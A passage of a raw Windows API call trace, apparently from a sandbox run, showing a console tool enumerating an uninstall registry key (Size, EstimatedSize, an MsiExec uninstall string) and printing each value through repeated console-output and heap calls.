_get_osfhandle (_FileHandle=1) returned 0x50 [0147.341] _errno () returned 0xc4bb0 [0147.341] GetFileType (hFile=0x50) returned 0x1 [0147.341] lstrlenW (lpString="\n") returned 1 [0147.341] GetConsoleOutputCP () returned 0x1b5 [0147.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.341] GetConsoleOutputCP () returned 0x1b5 [0147.341] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.341] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.341] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.341] GetProcessHeap () returned 0x2e0000 [0147.341] GetProcessHeap () returned 0x2e0000 [0147.341] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.341] GetProcessHeap () returned 0x2e0000 [0147.341] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.341] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.341] RegEnumValueW (in: hKey=0x5c, dwIndex=0xe, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="Size", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.341] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.341] GetProcessHeap () returned 0x2e0000 [0147.341] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.342] GetProcessHeap () returned 0x2e0000 [0147.342] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.342] GetProcessHeap () returned 0x2e0000 [0147.342] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.342] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="Size", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x1, pvData="", pcbData=0x23f670*=0x2) returned 0x0 [0147.342] __iob_func () returned 0x7fefd702a80 [0147.342] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.342] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.342] _fileno (_File=0x7fefd702ab0) returned 1 [0147.342] _errno () returned 0xc4bb0 [0147.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.342] _errno () returned 0xc4bb0 [0147.342] GetFileType (hFile=0x50) returned 0x1 [0147.342] lstrlenW (lpString=" ") returned 4 [0147.342] GetConsoleOutputCP () returned 0x1b5 [0147.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.342] GetConsoleOutputCP () returned 0x1b5 [0147.342] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.342] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.342] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.342] lstrlenW (lpString="Size") returned 4 [0147.342] __iob_func () returned 0x7fefd702a80 [0147.342] _fileno (_File=0x7fefd702ab0) returned 1 [0147.342] _errno () returned 0xc4bb0 [0147.342] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.342] _errno () returned 0xc4bb0 [0147.342] GetFileType (hFile=0x50) returned 0x1 [0147.342] lstrlenW (lpString="Size") returned 4 [0147.343] GetConsoleOutputCP () returned 0x1b5 [0147.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.343] GetConsoleOutputCP () returned 0x1b5 [0147.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Size", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Size", lpUsedDefaultChar=0x0) returned 4 [0147.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.343] __iob_func () returned 0x7fefd702a80 [0147.343] _fileno (_File=0x7fefd702ab0) returned 1 [0147.343] _errno () returned 0xc4bb0 [0147.343] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.343] _errno () returned 0xc4bb0 [0147.343] GetFileType (hFile=0x50) returned 0x1 [0147.343] lstrlenW (lpString=" ") returned 4 [0147.343] GetConsoleOutputCP () returned 0x1b5 [0147.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.343] GetConsoleOutputCP () returned 0x1b5 [0147.343] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.343] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.343] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.344] __iob_func () returned 0x7fefd702a80 [0147.344] _fileno (_File=0x7fefd702ab0) returned 1 [0147.344] _errno () returned 0xc4bb0 [0147.344] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.344] _errno () returned 0xc4bb0 [0147.344] GetFileType (hFile=0x50) returned 0x1 [0147.344] lstrlenW (lpString="REG_SZ") returned 6 [0147.344] GetConsoleOutputCP () returned 0x1b5 [0147.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0147.344] GetConsoleOutputCP () returned 0x1b5 [0147.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_SZ", cchWideChar=6, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_SZ", lpUsedDefaultChar=0x0) returned 6 [0147.344] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 6 [0147.344] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.344] __iob_func () returned 0x7fefd702a80 [0147.344] _fileno (_File=0x7fefd702ab0) returned 1 [0147.344] _errno () returned 0xc4bb0 [0147.344] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.344] _errno () returned 0xc4bb0 [0147.344] GetFileType (hFile=0x50) returned 0x1 [0147.344] lstrlenW (lpString=" ") returned 4 [0147.344] GetConsoleOutputCP () returned 0x1b5 [0147.344] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.344] GetConsoleOutputCP () returned 0x1b5 [0147.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.345] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.345] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.345] __iob_func () returned 0x7fefd702a80 [0147.345] _fileno (_File=0x7fefd702ab0) returned 1 [0147.345] _errno () returned 0xc4bb0 [0147.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.345] _errno () returned 0xc4bb0 [0147.345] GetFileType (hFile=0x50) returned 0x1 [0147.345] lstrlenW (lpString="") returned 0 [0147.345] __iob_func () returned 0x7fefd702a80 [0147.345] _fileno (_File=0x7fefd702ab0) returned 1 [0147.345] _errno () returned 0xc4bb0 [0147.345] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.345] _errno () returned 0xc4bb0 [0147.345] GetFileType (hFile=0x50) returned 0x1 [0147.345] lstrlenW (lpString="\n") returned 1 [0147.345] GetConsoleOutputCP () returned 0x1b5 [0147.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.345] GetConsoleOutputCP () returned 0x1b5 [0147.345] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.345] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.345] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.346] GetProcessHeap () returned 0x2e0000 [0147.346] GetProcessHeap () returned 0x2e0000 [0147.346] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.346] GetProcessHeap () returned 0x2e0000 [0147.346] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.346] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.346] RegEnumValueW (in: hKey=0x5c, dwIndex=0xf, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="EstimatedSize", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.346] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x4) returned 0x0 [0147.346] GetProcessHeap () returned 0x2e0000 [0147.346] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6) returned 0x2fcda0 [0147.346] GetProcessHeap () returned 0x2e0000 [0147.346] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.346] GetProcessHeap () returned 0x2e0000 [0147.346] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.346] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="EstimatedSize", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fcda0, pcbData=0x23f670*=0x4 | out: pdwType=0x23f5f0*=0x4, pvData=0x2fcda0*=0x314, pcbData=0x23f670*=0x4) returned 0x0 [0147.346] __iob_func () returned 0x7fefd702a80 [0147.346] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.346] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.346] _fileno (_File=0x7fefd702ab0) returned 1 [0147.346] _errno () returned 0xc4bb0 [0147.346] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.346] _errno () returned 0xc4bb0 [0147.346] GetFileType (hFile=0x50) returned 0x1 [0147.346] lstrlenW (lpString=" ") returned 4 [0147.346] GetConsoleOutputCP () returned 0x1b5 [0147.346] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.346] GetConsoleOutputCP () returned 0x1b5 [0147.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.347] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.347] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.347] lstrlenW (lpString="EstimatedSize") returned 13 [0147.347] __iob_func () returned 0x7fefd702a80 [0147.347] _fileno (_File=0x7fefd702ab0) returned 1 [0147.347] _errno () returned 0xc4bb0 [0147.347] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.347] _errno () returned 0xc4bb0 [0147.347] GetFileType (hFile=0x50) returned 0x1 [0147.347] lstrlenW (lpString="EstimatedSize") returned 13 [0147.347] GetConsoleOutputCP () returned 0x1b5 [0147.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0147.347] GetConsoleOutputCP () returned 0x1b5 [0147.347] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="EstimatedSize", cchWideChar=13, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="EstimatedSize", lpUsedDefaultChar=0x0) returned 13 [0147.347] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 13 [0147.347] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.347] __iob_func () returned 0x7fefd702a80 [0147.347] _fileno (_File=0x7fefd702ab0) returned 1 [0147.347] _errno () returned 0xc4bb0 [0147.347] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.347] _errno () returned 0xc4bb0 [0147.347] GetFileType (hFile=0x50) returned 0x1 [0147.347] lstrlenW (lpString=" ") returned 4 [0147.347] GetConsoleOutputCP () returned 0x1b5 [0147.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.348] GetConsoleOutputCP () returned 0x1b5 [0147.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.348] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.348] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.348] __iob_func () returned 0x7fefd702a80 [0147.348] _fileno (_File=0x7fefd702ab0) returned 1 [0147.348] _errno () returned 0xc4bb0 [0147.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.348] _errno () returned 0xc4bb0 [0147.348] GetFileType (hFile=0x50) returned 0x1 [0147.348] lstrlenW (lpString="REG_DWORD") returned 9 [0147.348] GetConsoleOutputCP () returned 0x1b5 [0147.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0147.348] GetConsoleOutputCP () returned 0x1b5 [0147.348] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_DWORD", cchWideChar=9, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="REG_DWORD", lpUsedDefaultChar=0x0) returned 9 [0147.348] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 9 [0147.348] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.348] __iob_func () returned 0x7fefd702a80 [0147.348] _fileno (_File=0x7fefd702ab0) returned 1 [0147.348] _errno () returned 0xc4bb0 [0147.348] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.349] _errno () returned 0xc4bb0 [0147.349] GetFileType (hFile=0x50) returned 0x1 [0147.349] lstrlenW (lpString=" ") returned 4 [0147.349] GetConsoleOutputCP () returned 0x1b5 [0147.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.349] GetConsoleOutputCP () returned 0x1b5 [0147.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.349] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.349] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.349] __iob_func () returned 0x7fefd702a80 [0147.349] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.349] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="0x%x", _ArgList=0x23f580 | out: _Buffer="0x314") returned 5 [0147.349] _fileno (_File=0x7fefd702ab0) returned 1 [0147.349] _errno () returned 0xc4bb0 [0147.349] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.349] _errno () returned 0xc4bb0 [0147.349] GetFileType (hFile=0x50) returned 0x1 [0147.349] lstrlenW (lpString="0x314") returned 5 [0147.349] GetConsoleOutputCP () returned 0x1b5 [0147.349] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x314", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0147.350] GetConsoleOutputCP () returned 0x1b5 [0147.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="0x314", cchWideChar=5, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="0x314", lpUsedDefaultChar=0x0) returned 5 [0147.350] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 5 [0147.350] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.350] __iob_func () returned 0x7fefd702a80 [0147.350] _fileno (_File=0x7fefd702ab0) returned 1 [0147.350] _errno () returned 0xc4bb0 [0147.350] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.350] _errno () returned 0xc4bb0 [0147.350] GetFileType (hFile=0x50) returned 0x1 [0147.350] lstrlenW (lpString="\n") returned 1 [0147.350] GetConsoleOutputCP () returned 0x1b5 [0147.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 1 [0147.350] GetConsoleOutputCP () returned 0x1b5 [0147.350] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\n", cchWideChar=1, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\n", lpUsedDefaultChar=0x0) returned 1 [0147.350] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 1 [0147.350] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.350] GetProcessHeap () returned 0x2e0000 [0147.350] GetProcessHeap () returned 0x2e0000 [0147.350] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0) returned 1 [0147.350] GetProcessHeap () returned 0x2e0000 [0147.350] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fcda0) returned 0x6 [0147.350] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fcda0 | out: hHeap=0x2e0000) returned 1 [0147.351] RegEnumValueW (in: hKey=0x5c, dwIndex=0x10, lpValueName=0x2f5bc0, lpcchValueName=0x23f6d4, lpReserved=0x0, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0 | out: lpValueName="UninstallString", lpcchValueName=0x23f6d4, lpType=0x23f6d8, lpData=0x0, lpcbData=0x0) returned 0x0 [0147.351] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0xffff, pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x0 | out: pdwType=0x0, pvData=0x0, pcbData=0x23f670*=0x6a) returned 0x0 [0147.351] GetProcessHeap () returned 0x2e0000 [0147.351] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0xc, Size=0x6c) returned 0x2fd9a0 [0147.351] GetProcessHeap () returned 0x2e0000 [0147.351] HeapValidate (hHeap=0x2e0000, dwFlags=0x0, lpMem=0x2fd9a0) returned 1 [0147.351] GetProcessHeap () returned 0x2e0000 [0147.351] RtlSizeHeap (HeapHandle=0x2e0000, Flags=0x0, MemoryPointer=0x2fd9a0) returned 0x6c [0147.351] RegGetValueW (in: hkey=0x5c, lpSubKey=0x0, lpValue="UninstallString", dwFlags=0x1000ffff, pdwType=0x23f5f0, pvData=0x2fd9a0, pcbData=0x23f670*=0x6a | out: pdwType=0x23f5f0*=0x2, pvData="MsiExec.exe /X{5FCE6D76-F5DC-37AB-B2B8-22AB8CEDB1D4}", pcbData=0x23f670*=0x6a) returned 0x0 [0147.351] __iob_func () returned 0x7fefd702a80 [0147.351] _memicmp (_Buf1=0x2fb5f0, _Buf2=0xffdd1458, _Size=0x7) returned 0 [0147.351] _vsnwprintf (in: _Buffer=0x2fbd60, _BufferCount=0x7ff, _Format="%*s", _ArgList=0x23f580 | out: _Buffer=" ") returned 4 [0147.351] _fileno (_File=0x7fefd702ab0) returned 1 [0147.351] _errno () returned 0xc4bb0 [0147.351] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.351] _errno () returned 0xc4bb0 [0147.351] GetFileType (hFile=0x50) returned 0x1 [0147.351] lstrlenW (lpString=" ") returned 4 [0147.351] GetConsoleOutputCP () returned 0x1b5 [0147.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.351] GetConsoleOutputCP () returned 0x1b5 [0147.351] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.351] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.351] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.351] lstrlenW (lpString="UninstallString") returned 15 [0147.352] __iob_func () returned 0x7fefd702a80 [0147.352] _fileno (_File=0x7fefd702ab0) returned 1 [0147.352] _errno () returned 0xc4bb0 [0147.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.352] _errno () returned 0xc4bb0 [0147.352] GetFileType (hFile=0x50) returned 0x1 [0147.352] lstrlenW (lpString="UninstallString") returned 15 [0147.352] GetConsoleOutputCP () returned 0x1b5 [0147.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0147.352] GetConsoleOutputCP () returned 0x1b5 [0147.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="UninstallString", cchWideChar=15, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="UninstallString", lpUsedDefaultChar=0x0) returned 15 [0147.352] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 15 [0147.352] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.352] __iob_func () returned 0x7fefd702a80 [0147.352] _fileno (_File=0x7fefd702ab0) returned 1 [0147.352] _errno () returned 0xc4bb0 [0147.352] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.352] _errno () returned 0xc4bb0 [0147.352] GetFileType (hFile=0x50) returned 0x1 [0147.352] lstrlenW (lpString=" ") returned 4 [0147.352] GetConsoleOutputCP () returned 0x1b5 [0147.352] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0147.352] GetConsoleOutputCP () returned 0x1b5 [0147.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr=" ", cchWideChar=4, lpMultiByteStr=0xffde2710, cbMultiByte=255, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=" ", lpUsedDefaultChar=0x0) returned 4 [0147.353] fprintf (in: _File=0x7fefd702ab0, _Format="%s" | out: _File=0x7fefd702ab0) returned 4 [0147.353] fflush (in: _File=0x7fefd702ab0 | out: _File=0x7fefd702ab0) returned 0 [0147.353] __iob_func () returned 0x7fefd702a80 [0147.353] _fileno (_File=0x7fefd702ab0) returned 1 [0147.353] _errno () returned 0xc4bb0 [0147.353] _get_osfhandle (_FileHandle=1) returned 0x50 [0147.353] _errno () returned 0xc4bb0 [0147.353] GetFileType (hFile=0x50) returned 0x1 [0147.353] lstrlenW (lpString="REG_EXPAND_SZ") returned 13 [0147.353] GetConsoleOutputCP () returned 0x1b5 [0147.353] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="REG_EXPAND_SZ", cchWideChar=13, lpMultiByteStr=0x0, 